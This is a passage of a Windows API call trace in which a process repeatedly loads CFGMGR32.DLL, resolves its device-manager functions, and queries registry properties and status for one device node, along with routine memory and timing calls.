dnDevInst=0x11, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0f9dc0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0f9dc0, pulLength=0x67117d608) returned 0x0 [0219.207] free (_Block=0x196ef0f9dc0) [0219.207] malloc (_Size=0x48) returned 0x196ef0fb5e0 [0219.207] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x6383e475, dwHighDateTime=0x1d9eb0c)) [0219.208] SetEvent (hEvent=0x248) returned 1 [0219.210] malloc (_Size=0x18) returned 0x196ef0d20c0 [0219.210] SafeArrayPutElement (psa=0x196ef1f2cf0, rgIndices=0x67117d6d8, pv=0x196ee7bd638) returned 0x0 [0219.210] free (_Block=0x196ef0d20c0) [0219.210] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee856de0 [0219.210] SafeArrayGetDim (psa=0x196ef1f2cf0) returned 0x1 [0219.210] SafeArrayGetLBound (in: psa=0x196ef1f2cf0, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0219.210] SafeArrayGetUBound (in: psa=0x196ef1f2cf0, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0219.211] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa650 [0219.211] SafeArrayGetDim (psa=0x196ef1f2cf0) returned 0x1 [0219.211] SafeArrayGetUBound (in: psa=0x196ef1f2cf0, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0219.211] SafeArrayGetElemsize (psa=0x196ef1f2cf0) returned 0x8 [0219.211] SafeArrayGetElement (in: psa=0x196ef1f2cf0, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0219.211] memcpy (in: _Dst=0x67117d268, _Src=0x196ef225d20, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0219.212] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa650) returned 1 [0219.212] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee856de0) returned 1 [0219.213] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0219.213] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0219.213] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0219.213] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0219.213] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0219.214] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0219.214] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0219.214] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0219.214] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0219.214] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0219.214] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0219.214] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0219.214] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0219.215] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0219.215] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0219.215] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0219.215] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0219.215] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0219.215] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0219.216] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0219.216] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0219.216] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0219.216] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0219.216] malloc (_Size=0x18) returned 0x196ef0d1da0 [0219.216] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x11, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x25 [0219.216] malloc (_Size=0x48) returned 0x196ef0fb540 [0219.216] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x6383e475, dwHighDateTime=0x1d9eb0c)) [0219.217] SetEvent (hEvent=0x248) returned 1 [0219.219] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0219.219] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0219.219] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0219.220] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0219.220] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0219.220] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0219.220] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0219.220] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0219.220] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0219.221] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0219.221] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0219.221] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0219.221] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0219.221] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0219.221] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0219.221] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0219.221] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0219.222] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0219.222] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0219.222] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0219.222] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0219.222] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0219.222] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0219.222] malloc (_Size=0x18) returned 0x196ef0d1ec0 [0219.223] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x11, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0219.225] malloc (_Size=0x48) returned 0x196ef0fc120 [0219.225] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x63864491, dwHighDateTime=0x1d9eb0c)) [0219.226] SetEvent (hEvent=0x248) returned 1 [0219.229] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0219.229] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0219.229] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0219.229] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0219.229] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0219.229] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0219.230] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0219.230] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0219.230] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0219.230] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0219.230] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0219.230] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0219.230] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0219.231] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0219.231] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0219.231] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0219.231] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0219.231] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0219.231] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0219.231] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0219.232] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0219.232] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0219.232] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0219.232] malloc (_Size=0x18) returned 0x196ef0d1ee0 [0219.232] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x11, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0219.232] malloc (_Size=0x48) returned 0x196ef0fb7c0 [0219.233] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x63864491, dwHighDateTime=0x1d9eb0c)) [0219.233] SetEvent (hEvent=0x248) returned 1 [0219.272] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0219.272] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0219.272] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0219.272] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0219.272] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0219.273] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0219.273] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0219.273] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0219.273] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0219.273] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0219.273] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0219.273] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0219.273] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0219.274] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0219.274] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0219.274] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0219.274] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0219.274] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0219.274] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0219.274] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0219.274] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0219.275] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0219.275] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0219.275] malloc (_Size=0x18) returned 0x196ef0d1bc0 [0219.275] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x11, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0219.275] malloc (_Size=0x48) returned 0x196ef0fb540 [0219.276] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x638d6a52, dwHighDateTime=0x1d9eb0c)) [0219.276] SetEvent (hEvent=0x248) returned 1 [0219.279] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0219.279] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0219.280] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0219.280] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0219.280] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0219.280] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0219.280] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0219.280] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0219.281] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0219.281] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0219.281] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0219.281] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0219.281] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0219.281] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0219.281] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0219.281] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0219.282] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0219.282] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0219.282] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0219.282] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0219.282] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0219.282] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0219.282] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0219.283] malloc (_Size=0x18) returned 0x196ef0d20e0 [0219.283] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x11, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0219.284] malloc (_Size=0x48) returned 0x196ef0fba90 [0219.284] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x638fcd91, dwHighDateTime=0x1d9eb0c)) [0219.284] SetEvent (hEvent=0x248) returned 1 [0219.289] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0219.289] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0219.290] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0219.290] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0219.290] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0219.290] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0219.290] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0219.290] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0219.291] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0219.291] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0219.291] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0219.291] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0219.291] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0219.291] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0219.291] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0219.291] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0219.292] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0219.292] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0219.292] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0219.292] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0219.292] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0219.292] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0219.292] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0219.293] malloc (_Size=0x18) returned 0x196ef0d1f20 [0219.293] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x11, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0219.295] malloc (_Size=0x48) returned 0x196ef0fba90 [0219.295] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x638fcd91, dwHighDateTime=0x1d9eb0c)) [0219.295] SetEvent (hEvent=0x248) returned 1 [0219.298] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0219.299] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0219.299] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0219.299] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0219.299] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0219.299] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0219.300] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0219.300] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0219.300] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0219.300] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0219.300] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0219.300] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0219.301] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0219.301] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0219.301] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0219.301] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0219.301] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0219.301] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0219.302] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0219.302] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0219.302] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0219.302] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0219.302] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0219.302] malloc (_Size=0x18) returned 0x196ef0d20a0 [0219.303] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x11, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0219.303] malloc (_Size=0x48) returned 0x196ef0fb310 [0219.303] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x63922cfe, dwHighDateTime=0x1d9eb0c)) [0219.303] SetEvent (hEvent=0x248) returned 1 [0219.307] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0219.308] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0219.308] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0219.308] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0219.308] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0219.308] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0219.308] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0219.309] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0219.309] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0219.309] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0219.309] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0219.309] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0219.309] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0219.309] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0219.310] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0219.310] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0219.310] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0219.310] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0219.310] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0219.310] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0219.310] GetProcAddress 